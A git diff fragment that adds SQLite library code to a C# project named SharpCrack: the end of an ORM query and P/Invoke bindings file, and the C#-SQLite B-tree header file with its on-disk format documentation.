CompileNullBinaryExpression(BinaryExpression expression, CompileResult parameter) + { + if (expression.NodeType == ExpressionType.Equal) + return "(" + parameter.CommandText + " is ?)"; + else if (expression.NodeType == ExpressionType.NotEqual) + return "(" + parameter.CommandText + " is not ?)"; + else + throw new NotSupportedException("Cannot compile Null-BinaryExpression with type " + expression.NodeType.ToString()); + } + + string GetSqlName (Expression expr) + { + var n = expr.NodeType; + if (n == ExpressionType.GreaterThan) + return ">"; else if (n == ExpressionType.GreaterThanOrEqual) { + return ">="; + } else if (n == ExpressionType.LessThan) { + return "<"; + } else if (n == ExpressionType.LessThanOrEqual) { + return "<="; + } else if (n == ExpressionType.And) { + return "&"; + } else if (n == ExpressionType.AndAlso) { + return "and"; + } else if (n == ExpressionType.Or) { + return "|"; + } else if (n == ExpressionType.OrElse) { + return "or"; + } else if (n == ExpressionType.Equal) { + return "="; + } else if (n == ExpressionType.NotEqual) { + return "!="; + } else { + throw new NotSupportedException ("Cannot get SQL for: " + n); + } + } + + public int Count () + { + return GenerateCommand("count(*)").ExecuteScalar (); + } + + public int Count (Expression> predExpr) + { + return Where (predExpr).Count (); + } + + public IEnumerator GetEnumerator () + { + if (!_deferred) + return GenerateCommand("*").ExecuteQuery().GetEnumerator(); + + return GenerateCommand("*").ExecuteDeferredQuery().GetEnumerator(); + } + + System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator () + { + return GetEnumerator (); + } + + public T First () + { + var query = Take (1); + return query.ToList().First (); + } + + public T FirstOrDefault () + { + var query = Take (1); + return query.ToList().FirstOrDefault (); + } + } + + public static class SQLite3 + { + public enum Result : int + { + OK = 0, + Error = 1, + Internal = 2, + Perm = 3, + Abort = 4, + Busy = 5, + Locked = 6, + NoMem = 7, + ReadOnly = 8, + Interrupt = 9, + IOError = 10, + Corrupt = 11, + NotFound = 12, + Full = 13, + CannotOpen = 14, + LockErr = 15, + Empty = 16, + SchemaChngd = 17, + TooBig = 18, + Constraint = 19, + Mismatch = 20, + Misuse = 21, + NotImplementedLFS = 22, + AccessDenied = 23, + Format = 24, + Range = 25, + NonDBFile = 26, + Row = 100, + Done = 101 + } + + public enum ConfigOption : int + { + SingleThread = 1, + MultiThread = 2, + Serialized = 3 + } + +//#if !USE_CSHARP_SQLITE && !USE_WP8_NATIVE_SQLITE +#if NO_USE_CSHARP_SQLITE && !USE_WP8_NATIVE_SQLITE + [DllImport("sqlite3", EntryPoint = "sqlite3_open", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Open ([MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db); + + [DllImport("sqlite3", EntryPoint = "sqlite3_open_v2", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Open ([MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db, int flags, IntPtr zvfs); + + [DllImport("sqlite3", EntryPoint = "sqlite3_open_v2", CallingConvention = CallingConvention.Cdecl)] + public static extern Result Open(byte[] filename, out IntPtr db, int flags, IntPtr zvfs); + + [DllImport("sqlite3", EntryPoint = "sqlite3_open16", CallingConvention = CallingConvention.Cdecl)] + public static extern Result Open16([MarshalAs(UnmanagedType.LPWStr)] string filename, out IntPtr db); + + [DllImport("sqlite3", EntryPoint = "sqlite3_enable_load_extension", CallingConvention=CallingConvention.Cdecl)] + public static extern Result EnableLoadExtension (IntPtr db, int onoff); + + [DllImport("sqlite3", EntryPoint = "sqlite3_close", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Close (IntPtr db); + + [DllImport("sqlite3", EntryPoint = "sqlite3_config", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Config (ConfigOption option); + + [DllImport("sqlite3", EntryPoint = "sqlite3_win32_set_directory", CallingConvention=CallingConvention.Cdecl, CharSet=CharSet.Unicode)] + public static extern int SetDirectory (uint directoryType, string directoryPath); + + [DllImport("sqlite3", EntryPoint = "sqlite3_busy_timeout", CallingConvention=CallingConvention.Cdecl)] + public static extern Result BusyTimeout (IntPtr db, int milliseconds); + + [DllImport("sqlite3", EntryPoint = "sqlite3_changes", CallingConvention=CallingConvention.Cdecl)] + public static extern int Changes (IntPtr db); + + [DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Prepare2 (IntPtr db, [MarshalAs(UnmanagedType.LPStr)] string sql, int numBytes, out IntPtr stmt, IntPtr pzTail); + + public static IntPtr Prepare2 (IntPtr db, string query) + { + IntPtr stmt; + var r = Prepare2 (db, query, query.Length, out stmt, IntPtr.Zero); + if (r != Result.OK) { + throw SQLiteException.New (r, GetErrmsg (db)); + } + return stmt; + } + + [DllImport("sqlite3", EntryPoint = "sqlite3_step", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Step (IntPtr stmt); + + [DllImport("sqlite3", EntryPoint = "sqlite3_reset", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Reset (IntPtr stmt); + + [DllImport("sqlite3", EntryPoint = "sqlite3_finalize", CallingConvention=CallingConvention.Cdecl)] + public static extern Result Finalize (IntPtr stmt); + + [DllImport("sqlite3", EntryPoint = "sqlite3_last_insert_rowid", CallingConvention=CallingConvention.Cdecl)] + public static extern long LastInsertRowid (IntPtr db); + + [DllImport("sqlite3", EntryPoint = "sqlite3_errmsg16", CallingConvention=CallingConvention.Cdecl)] + public static extern IntPtr Errmsg (IntPtr db); + + public static string GetErrmsg (IntPtr db) + { + return Marshal.PtrToStringUni (Errmsg (db)); + } + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_parameter_index", CallingConvention=CallingConvention.Cdecl)] + public static extern int BindParameterIndex (IntPtr stmt, [MarshalAs(UnmanagedType.LPStr)] string name); + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_null", CallingConvention=CallingConvention.Cdecl)] + public static extern int BindNull (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_int", CallingConvention=CallingConvention.Cdecl)] + public static extern int BindInt (IntPtr stmt, int index, int val); + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_int64", CallingConvention=CallingConvention.Cdecl)] + public static extern int BindInt64 (IntPtr stmt, int index, long val); + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_double", CallingConvention=CallingConvention.Cdecl)] + public static extern int BindDouble (IntPtr stmt, int index, double val); + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_text16", CallingConvention=CallingConvention.Cdecl, CharSet = CharSet.Unicode)] + public static extern int BindText (IntPtr stmt, int index, [MarshalAs(UnmanagedType.LPWStr)] string val, int n, IntPtr free); + + [DllImport("sqlite3", EntryPoint = "sqlite3_bind_blob", CallingConvention=CallingConvention.Cdecl)] + public static extern int BindBlob (IntPtr stmt, int index, byte[] val, int n, IntPtr free); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_count", CallingConvention=CallingConvention.Cdecl)] + public static extern int ColumnCount (IntPtr stmt); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_name", CallingConvention=CallingConvention.Cdecl)] + public static extern IntPtr ColumnName (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_name16", CallingConvention=CallingConvention.Cdecl)] + static extern IntPtr ColumnName16Internal (IntPtr stmt, int index); + public static string ColumnName16(IntPtr stmt, int index) + { + return Marshal.PtrToStringUni(ColumnName16Internal(stmt, index)); + } + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_type", CallingConvention=CallingConvention.Cdecl)] + public static extern ColType ColumnType (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_int", CallingConvention=CallingConvention.Cdecl)] + public static extern int ColumnInt (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_int64", CallingConvention=CallingConvention.Cdecl)] + public static extern long ColumnInt64 (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_double", CallingConvention=CallingConvention.Cdecl)] + public static extern double ColumnDouble (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_text", CallingConvention=CallingConvention.Cdecl)] + public static extern IntPtr ColumnText (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_text16", CallingConvention=CallingConvention.Cdecl)] + public static extern IntPtr ColumnText16 (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_blob", CallingConvention=CallingConvention.Cdecl)] + public static extern IntPtr ColumnBlob (IntPtr stmt, int index); + + [DllImport("sqlite3", EntryPoint = "sqlite3_column_bytes", CallingConvention=CallingConvention.Cdecl)] + public static extern int ColumnBytes (IntPtr stmt, int index); + + public static string ColumnString (IntPtr stmt, int index) + { + return Marshal.PtrToStringUni (SQLite3.ColumnText16 (stmt, index)); + } + + public static byte[] ColumnByteArray (IntPtr stmt, int index) + { + int length = ColumnBytes (stmt, index); + var result = new byte[length]; + if (length > 0) + Marshal.Copy (ColumnBlob (stmt, index), result, 0, length); + return result; + } +#else + public static Result Open(string filename, out Sqlite3DatabaseHandle db) + { + return (Result) Sqlite3.sqlite3_open(filename, out db); + } + + public static Result Open(string filename, out Sqlite3DatabaseHandle db, int flags, IntPtr zVfs) + { +#if USE_WP8_NATIVE_SQLITE + return (Result)Sqlite3.sqlite3_open_v2(filename, out db, flags, ""); +#else + return (Result)Sqlite3.sqlite3_open_v2(filename, out db, flags, null); +#endif + } + + public static Result Close(Sqlite3DatabaseHandle db) + { + return (Result)Sqlite3.sqlite3_close(db); + } + + public static Result BusyTimeout(Sqlite3DatabaseHandle db, int milliseconds) + { + return (Result)Sqlite3.sqlite3_busy_timeout(db, milliseconds); + } + + public static int Changes(Sqlite3DatabaseHandle db) + { + return Sqlite3.sqlite3_changes(db); + } + + public static Sqlite3Statement Prepare2(Sqlite3DatabaseHandle db, string query) + { + Sqlite3Statement stmt = default(Sqlite3Statement); +#if USE_WP8_NATIVE_SQLITE + var r = Sqlite3.sqlite3_prepare_v2(db, query, out stmt); +#else + stmt = new Sqlite3Statement(); + var r = Sqlite3.sqlite3_prepare_v2(db, query, -1, ref stmt, 0); +#endif + if (r != 0) + { + throw SQLiteException.New((Result)r, GetErrmsg(db)); + } + return stmt; + } + + public static Result Step(Sqlite3Statement stmt) + { + return (Result)Sqlite3.sqlite3_step(stmt); + } + + public static Result Reset(Sqlite3Statement stmt) + { + return (Result)Sqlite3.sqlite3_reset(stmt); + } + + public static Result Finalize(Sqlite3Statement stmt) + { + return (Result)Sqlite3.sqlite3_finalize(stmt); + } + + public static long LastInsertRowid(Sqlite3DatabaseHandle db) + { + return Sqlite3.sqlite3_last_insert_rowid(db); + } + + public static string GetErrmsg(Sqlite3DatabaseHandle db) + { + return Sqlite3.sqlite3_errmsg(db); + } + + public static int BindParameterIndex(Sqlite3Statement stmt, string name) + { + return Sqlite3.sqlite3_bind_parameter_index(stmt, name); + } + + public static int BindNull(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_bind_null(stmt, index); + } + + public static int BindInt(Sqlite3Statement stmt, int index, int val) + { + return Sqlite3.sqlite3_bind_int(stmt, index, val); + } + + public static int BindInt64(Sqlite3Statement stmt, int index, long val) + { + return Sqlite3.sqlite3_bind_int64(stmt, index, val); + } + + public static int BindDouble(Sqlite3Statement stmt, int index, double val) + { + return Sqlite3.sqlite3_bind_double(stmt, index, val); + } + + public static int BindText(Sqlite3Statement stmt, int index, string val, int n, IntPtr free) + { +#if USE_WP8_NATIVE_SQLITE + return Sqlite3.sqlite3_bind_text(stmt, index, val, n); +#else + return Sqlite3.sqlite3_bind_text(stmt, index, val, n, null); +#endif + } + + public static int BindBlob(Sqlite3Statement stmt, int index, byte[] val, int n, IntPtr free) + { +#if USE_WP8_NATIVE_SQLITE + return Sqlite3.sqlite3_bind_blob(stmt, index, val, n); +#else + return Sqlite3.sqlite3_bind_blob(stmt, index, val, n, null); +#endif + } + + public static int ColumnCount(Sqlite3Statement stmt) + { + return Sqlite3.sqlite3_column_count(stmt); + } + + public static string ColumnName(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_name(stmt, index); + } + + public static string ColumnName16(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_name(stmt, index); + } + + public static ColType ColumnType(Sqlite3Statement stmt, int index) + { + return (ColType)Sqlite3.sqlite3_column_type(stmt, index); + } + + public static int ColumnInt(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_int(stmt, index); + } + + public static long ColumnInt64(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_int64(stmt, index); + } + + public static double ColumnDouble(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_double(stmt, index); + } + + public static string ColumnText(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_text(stmt, index); + } + + public static string ColumnText16(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_text(stmt, index); + } + + public static byte[] ColumnBlob(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_blob(stmt, index); + } + + public static int ColumnBytes(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_bytes(stmt, index); + } + + public static string ColumnString(Sqlite3Statement stmt, int index) + { + return Sqlite3.sqlite3_column_text(stmt, index); + } + + public static byte[] ColumnByteArray(Sqlite3Statement stmt, int index) + { + return ColumnBlob(stmt, index); + } + + public static Result EnableLoadExtension(Sqlite3DatabaseHandle db, int onoff) + { + return (Result)Sqlite3.sqlite3_enable_load_extension(db, onoff); + } +#endif + + public enum ColType : int + { + Integer = 1, + Float = 2, + Text = 3, + Blob = 4, + Null = 5 + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/BtreeInt_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/BtreeInt_h.cs new file mode 100644 index 0000000..43478cb --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/BtreeInt_h.cs @@ -0,0 +1,823 @@ +using System; +using System.Diagnostics; + +using i16 = System.Int16; +using i64 = System.Int64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; + +using sqlite3_int64 = System.Int64; +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + using DbPage = Sqlite3.PgHdr; + + public partial class Sqlite3 + { + /* + ** 2004 April 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file implements a external (disk-based) database using BTrees. + ** For a detailed discussion of BTrees, refer to + ** + ** Donald E. Knuth, THE ART OF COMPUTER PROGRAMMING, Volume 3: + ** "Sorting And Searching", pages 473-480. Addison-Wesley + ** Publishing Company, Reading, Massachusetts. + ** + ** The basic idea is that each page of the file contains N database + ** entries and N+1 pointers to subpages. + ** + ** ---------------------------------------------------------------- + ** | Ptr(0) | Key(0) | Ptr(1) | Key(1) | ... | Key(N-1) | Ptr(N) | + ** ---------------------------------------------------------------- + ** + ** All of the keys on the page that Ptr(0) points to have values less + ** than Key(0). All of the keys on page Ptr(1) and its subpages have + ** values greater than Key(0) and less than Key(1). All of the keys + ** on Ptr(N) and its subpages have values greater than Key(N-1). And + ** so forth. + ** + ** Finding a particular key requires reading O(log(M)) pages from the + ** disk where M is the number of entries in the tree. + ** + ** In this implementation, a single file can hold one or more separate + ** BTrees. Each BTree is identified by the index of its root page. The + ** key and data for any entry are combined to form the "payload". A + ** fixed amount of payload can be carried directly on the database + ** page. If the payload is larger than the preset amount then surplus + ** bytes are stored on overflow pages. The payload for an entry + ** and the preceding pointer are combined to form a "Cell". Each + ** page has a small header which contains the Ptr(N) pointer and other + ** information such as the size of key and data. + ** + ** FORMAT DETAILS + ** + ** The file is divided into pages. The first page is called page 1, + ** the second is page 2, and so forth. A page number of zero indicates + ** "no such page". The page size can be any power of 2 between 512 and 65536. + ** Each page can be either a btree page, a freelist page, an overflow + ** page, or a pointer-map page. + ** + ** The first page is always a btree page. The first 100 bytes of the first + ** page contain a special header (the "file header") that describes the file. + ** The format of the file header is as follows: + ** + ** OFFSET SIZE DESCRIPTION + ** 0 16 Header string: "SQLite format 3\000" + ** 16 2 Page size in bytes. + ** 18 1 File format write version + ** 19 1 File format read version + ** 20 1 Bytes of unused space at the end of each page + ** 21 1 Max embedded payload fraction + ** 22 1 Min embedded payload fraction + ** 23 1 Min leaf payload fraction + ** 24 4 File change counter + ** 28 4 Reserved for future use + ** 32 4 First freelist page + ** 36 4 Number of freelist pages in the file + ** 40 60 15 4-byte meta values passed to higher layers + ** + ** 40 4 Schema cookie + ** 44 4 File format of schema layer + ** 48 4 Size of page cache + ** 52 4 Largest root-page (auto/incr_vacuum) + ** 56 4 1=UTF-8 2=UTF16le 3=UTF16be + ** 60 4 User version + ** 64 4 Incremental vacuum mode + ** 68 4 unused + ** 72 4 unused + ** 76 4 unused + ** + ** All of the integer values are big-endian (most significant byte first). + ** + ** The file change counter is incremented when the database is changed + ** This counter allows other processes to know when the file has changed + ** and thus when they need to flush their cache. + ** + ** The max embedded payload fraction is the amount of the total usable + ** space in a page that can be consumed by a single cell for standard + ** B-tree (non-LEAFDATA) tables. A value of 255 means 100%. The default + ** is to limit the maximum cell size so that at least 4 cells will fit + ** on one page. Thus the default max embedded payload fraction is 64. + ** + ** If the payload for a cell is larger than the max payload, then extra + ** payload is spilled to overflow pages. Once an overflow page is allocated, + ** as many bytes as possible are moved into the overflow pages without letting + ** the cell size drop below the min embedded payload fraction. + ** + ** The min leaf payload fraction is like the min embedded payload fraction + ** except that it applies to leaf nodes in a LEAFDATA tree. The maximum + ** payload fraction for a LEAFDATA tree is always 100% (or 255) and it + ** not specified in the header. + ** + ** Each btree pages is divided into three sections: The header, the + ** cell pointer array, and the cell content area. Page 1 also has a 100-byte + ** file header that occurs before the page header. + ** + ** |----------------| + ** | file header | 100 bytes. Page 1 only. + ** |----------------| + ** | page header | 8 bytes for leaves. 12 bytes for interior nodes + ** |----------------| + ** | cell pointer | | 2 bytes per cell. Sorted order. + ** | array | | Grows downward + ** | | v + ** |----------------| + ** | unallocated | + ** | space | + ** |----------------| ^ Grows upwards + ** | cell content | | Arbitrary order interspersed with freeblocks. + ** | area | | and free space fragments. + ** |----------------| + ** + ** The page headers looks like this: + ** + ** OFFSET SIZE DESCRIPTION + ** 0 1 Flags. 1: intkey, 2: zerodata, 4: leafdata, 8: leaf + ** 1 2 byte offset to the first freeblock + ** 3 2 number of cells on this page + ** 5 2 first byte of the cell content area + ** 7 1 number of fragmented free bytes + ** 8 4 Right child (the Ptr(N) value). Omitted on leaves. + ** + ** The flags define the format of this btree page. The leaf flag means that + ** this page has no children. The zerodata flag means that this page carries + ** only keys and no data. The intkey flag means that the key is a integer + ** which is stored in the key size entry of the cell header rather than in + ** the payload area. + ** + ** The cell pointer array begins on the first byte after the page header. + ** The cell pointer array contains zero or more 2-byte numbers which are + ** offsets from the beginning of the page to the cell content in the cell + ** content area. The cell pointers occur in sorted order. The system strives + ** to keep free space after the last cell pointer so that new cells can + ** be easily added without having to defragment the page. + ** + ** Cell content is stored at the very end of the page and grows toward the + ** beginning of the page. + ** + ** Unused space within the cell content area is collected into a linked list of + ** freeblocks. Each freeblock is at least 4 bytes in size. The byte offset + ** to the first freeblock is given in the header. Freeblocks occur in + ** increasing order. Because a freeblock must be at least 4 bytes in size, + ** any group of 3 or fewer unused bytes in the cell content area cannot + ** exist on the freeblock chain. A group of 3 or fewer free bytes is called + ** a fragment. The total number of bytes in all fragments is recorded. + ** in the page header at offset 7. + ** + ** SIZE DESCRIPTION + ** 2 Byte offset of the next freeblock + ** 2 Bytes in this freeblock + ** + ** Cells are of variable length. Cells are stored in the cell content area at + ** the end of the page. Pointers to the cells are in the cell pointer array + ** that immediately follows the page header. Cells is not necessarily + ** contiguous or in order, but cell pointers are contiguous and in order. + ** + ** Cell content makes use of variable length integers. A variable + ** length integer is 1 to 9 bytes where the lower 7 bits of each + ** byte are used. The integer consists of all bytes that have bit 8 set and + ** the first byte with bit 8 clear. The most significant byte of the integer + ** appears first. A variable-length integer may not be more than 9 bytes long. + ** As a special case, all 8 bytes of the 9th byte are used as data. This + ** allows a 64-bit integer to be encoded in 9 bytes. + ** + ** 0x00 becomes 0x00000000 + ** 0x7f becomes 0x0000007f + ** 0x81 0x00 becomes 0x00000080 + ** 0x82 0x00 becomes 0x00000100 + ** 0x80 0x7f becomes 0x0000007f + ** 0x8a 0x91 0xd1 0xac 0x78 becomes 0x12345678 + ** 0x81 0x81 0x81 0x81 0x01 becomes 0x10204081 + ** + ** Variable length integers are used for rowids and to hold the number of + ** bytes of key and data in a btree cell. + ** + ** The content of a cell looks like this: + ** + ** SIZE DESCRIPTION + ** 4 Page number of the left child. Omitted if leaf flag is set. + ** var Number of bytes of data. Omitted if the zerodata flag is set. + ** var Number of bytes of key. Or the key itself if intkey flag is set. + ** * Payload + ** 4 First page of the overflow chain. Omitted if no overflow + ** + ** Overflow pages form a linked list. Each page except the last is completely + ** filled with data (pagesize - 4 bytes). The last page can have as little + ** as 1 byte of data. + ** + ** SIZE DESCRIPTION + ** 4 Page number of next overflow page + ** * Data + ** + ** Freelist pages come in two subtypes: trunk pages and leaf pages. The + ** file header points to the first in a linked list of trunk page. Each trunk + ** page points to multiple leaf pages. The content of a leaf page is + ** unspecified. A trunk page looks like this: + ** + ** SIZE DESCRIPTION + ** 4 Page number of next trunk page + ** 4 Number of leaf pointers on this page + ** * zero or more pages numbers of leaves + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* The following value is the maximum cell size assuming a maximum page + ** size give above. + */ + //#define MX_CELL_SIZE(pBt) ((int)(pBt->pageSize-8)) + static int MX_CELL_SIZE( BtShared pBt ) + { + return (int)( pBt.pageSize - 8 ); + } + + /* The maximum number of cells on a single page of the database. This + ** assumes a minimum cell size of 6 bytes (4 bytes for the cell itself + ** plus 2 bytes for the index to the cell in the page header). Such + ** small cells will be rare, but they are possible. + */ + //#define MX_CELL(pBt) ((pBt.pageSize-8)/6) + static int MX_CELL( BtShared pBt ) + { + return ( (int)( pBt.pageSize - 8 ) / 6 ); + } + + /* Forward declarations */ + //typedef struct MemPage MemPage; + //typedef struct BtLock BtLock; + + /* + ** This is a magic string that appears at the beginning of every + ** SQLite database in order to identify the file as a real database. + ** + ** You can change this value at compile-time by specifying a + ** -DSQLITE_FILE_HEADER="..." on the compiler command-line. The + ** header must be exactly 16 bytes including the zero-terminator so + ** the string itself should be 15 characters long. If you change + ** the header, then your custom library will not be able to read + ** databases generated by the standard tools and the standard tools + ** will not be able to read databases created by your custom library. + */ +#if !SQLITE_FILE_HEADER //* 123456789 123456 */ + const string SQLITE_FILE_HEADER = "SQLite format 3\0"; +#endif + + /* +** Page type flags. An ORed combination of these flags appear as the +** first byte of on-disk image of every BTree page. +*/ + const byte PTF_INTKEY = 0x01; + const byte PTF_ZERODATA = 0x02; + const byte PTF_LEAFDATA = 0x04; + const byte PTF_LEAF = 0x08; + + /* + ** As each page of the file is loaded into memory, an instance of the following + ** structure is appended and initialized to zero. This structure stores + ** information about the page that is decoded from the raw file page. + ** + ** The pParent field points back to the parent page. This allows us to + ** walk up the BTree from any leaf to the root. Care must be taken to + ** unref() the parent page pointer when this page is no longer referenced. + ** The pageDestructor() routine handles that chore. + ** + ** Access to all fields of this structure is controlled by the mutex + ** stored in MemPage.pBt.mutex. + */ + public struct _OvflCell + { /* Cells that will not fit on aData[] */ + public u8[] pCell; /* Pointers to the body of the overflow cell */ + public u16 idx; /* Insert this cell before idx-th non-overflow cell */ + public _OvflCell Copy() + { + _OvflCell cp = new _OvflCell(); + if ( pCell != null ) + { + cp.pCell = sqlite3Malloc( pCell.Length ); + Buffer.BlockCopy( pCell, 0, cp.pCell, 0, pCell.Length ); + } + cp.idx = idx; + return cp; + } + }; + public class MemPage + { + public u8 isInit; /* True if previously initialized. MUST BE FIRST! */ + public u8 nOverflow; /* Number of overflow cell bodies in aCell[] */ + public u8 intKey; /* True if u8key flag is set */ + public u8 leaf; /* 1 if leaf flag is set */ + public u8 hasData; /* True if this page stores data */ + public u8 hdrOffset; /* 100 for page 1. 0 otherwise */ + public u8 childPtrSize; /* 0 if leaf==1. 4 if leaf==0 */ + public u16 maxLocal; /* Copy of BtShared.maxLocal or BtShared.maxLeaf */ + public u16 minLocal; /* Copy of BtShared.minLocal or BtShared.minLeaf */ + public u16 cellOffset; /* Index in aData of first cell pou16er */ + public u16 nFree; /* Number of free bytes on the page */ + public u16 nCell; /* Number of cells on this page, local and ovfl */ + public u16 maskPage; /* Mask for page offset */ + public _OvflCell[] aOvfl = new _OvflCell[5]; + public BtShared pBt; /* Pointer to BtShared that this page is part of */ + public byte[] aData; /* Pointer to disk image of the page data */ + public DbPage pDbPage; /* Pager page handle */ + public Pgno pgno; /* Page number for this page */ + + //public byte[] aData + //{ + // get + // { + // Debug.Assert( pgno != 1 || pDbPage.pData == _aData ); + // return _aData; + // } + // set + // { + // _aData = value; + // Debug.Assert( pgno != 1 || pDbPage.pData == _aData ); + // } + //} + + public MemPage Copy() + { + MemPage cp = (MemPage)MemberwiseClone(); + if ( aOvfl != null ) + { + cp.aOvfl = new _OvflCell[aOvfl.Length]; + for ( int i = 0; i < aOvfl.Length; i++ ) + cp.aOvfl[i] = aOvfl[i].Copy(); + } + if ( aData != null ) + { + cp.aData = sqlite3Malloc( aData.Length ); + Buffer.BlockCopy( aData, 0, cp.aData, 0, aData.Length ); + } + return cp; + } + }; + + /* + ** The in-memory image of a disk page has the auxiliary information appended + ** to the end. EXTRA_SIZE is the number of bytes of space needed to hold + ** that extra information. + */ + const int EXTRA_SIZE = 0;// No used in C#, since we use create a class; was MemPage.Length; + + /* + ** A linked list of the following structures is stored at BtShared.pLock. + ** Locks are added (or upgraded from READ_LOCK to WRITE_LOCK) when a cursor + ** is opened on the table with root page BtShared.iTable. Locks are removed + ** from this list when a transaction is committed or rolled back, or when + ** a btree handle is closed. + */ + public class BtLock + { + Btree pBtree; /* Btree handle holding this lock */ + Pgno iTable; /* Root page of table */ + u8 eLock; /* READ_LOCK or WRITE_LOCK */ + BtLock pNext; /* Next in BtShared.pLock list */ + }; + + /* Candidate values for BtLock.eLock */ + //#define READ_LOCK 1 + //#define WRITE_LOCK 2 + const int READ_LOCK = 1; + const int WRITE_LOCK = 2; + + /* A Btree handle + ** + ** A database connection contains a pointer to an instance of + ** this object for every database file that it has open. This structure + ** is opaque to the database connection. The database connection cannot + ** see the internals of this structure and only deals with pointers to + ** this structure. + ** + ** For some database files, the same underlying database cache might be + ** shared between multiple connections. In that case, each connection + ** has it own instance of this object. But each instance of this object + ** points to the same BtShared object. The database cache and the + ** schema associated with the database file are all contained within + ** the BtShared object. + ** + ** All fields in this structure are accessed under sqlite3.mutex. + ** The pBt pointer itself may not be changed while there exists cursors + ** in the referenced BtShared that point back to this Btree since those + ** cursors have to go through this Btree to find their BtShared and + ** they often do so without holding sqlite3.mutex. + */ + public class Btree + { + public sqlite3 db; /* The database connection holding this Btree */ + public BtShared pBt; /* Sharable content of this Btree */ + public u8 inTrans; /* TRANS_NONE, TRANS_READ or TRANS_WRITE */ + public bool sharable; /* True if we can share pBt with another db */ + public bool locked; /* True if db currently has pBt locked */ + public int wantToLock; /* Number of nested calls to sqlite3BtreeEnter() */ + public int nBackup; /* Number of backup operations reading this btree */ + public Btree pNext; /* List of other sharable Btrees from the same db */ + public Btree pPrev; /* Back pointer of the same list */ +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +BtLock lock; /* Object used to lock page 1 */ +#endif + }; + + /* + ** Btree.inTrans may take one of the following values. + ** + ** If the shared-data extension is enabled, there may be multiple users + ** of the Btree structure. At most one of these may open a write transaction, + ** but any number may have active read transactions. + */ + const byte TRANS_NONE = 0; + const byte TRANS_READ = 1; + const byte TRANS_WRITE = 2; + + /* + ** An instance of this object represents a single database file. + ** + ** A single database file can be in use as the same time by two + ** or more database connections. When two or more connections are + ** sharing the same database file, each connection has it own + ** private Btree object for the file and each of those Btrees points + ** to this one BtShared object. BtShared.nRef is the number of + ** connections currently sharing this database file. + ** + ** Fields in this structure are accessed under the BtShared.mutex + ** mutex, except for nRef and pNext which are accessed under the + ** global SQLITE_MUTEX_STATIC_MASTER mutex. The pPager field + ** may not be modified once it is initially set as long as nRef>0. + ** The pSchema field may be set once under BtShared.mutex and + ** thereafter is unchanged as long as nRef>0. + ** + ** isPending: + ** + ** If a BtShared client fails to obtain a write-lock on a database + ** table (because there exists one or more read-locks on the table), + ** the shared-cache enters 'pending-lock' state and isPending is + ** set to true. + ** + ** The shared-cache leaves the 'pending lock' state when either of + ** the following occur: + ** + ** 1) The current writer (BtShared.pWriter) concludes its transaction, OR + ** 2) The number of locks held by other connections drops to zero. + ** + ** while in the 'pending-lock' state, no connection may start a new + ** transaction. + ** + ** This feature is included to help prevent writer-starvation. + */ + public class BtShared + { + public Pager pPager; /* The page cache */ + public sqlite3 db; /* Database connection currently using this Btree */ + public BtCursor pCursor; /* A list of all open cursors */ + public MemPage pPage1; /* First page of the database */ + public bool readOnly; /* True if the underlying file is readonly */ + public bool pageSizeFixed; /* True if the page size can no longer be changed */ + public bool secureDelete; /* True if secure_delete is enabled */ + public bool initiallyEmpty; /* Database is empty at start of transaction */ + public u8 openFlags; /* Flags to sqlite3BtreeOpen() */ 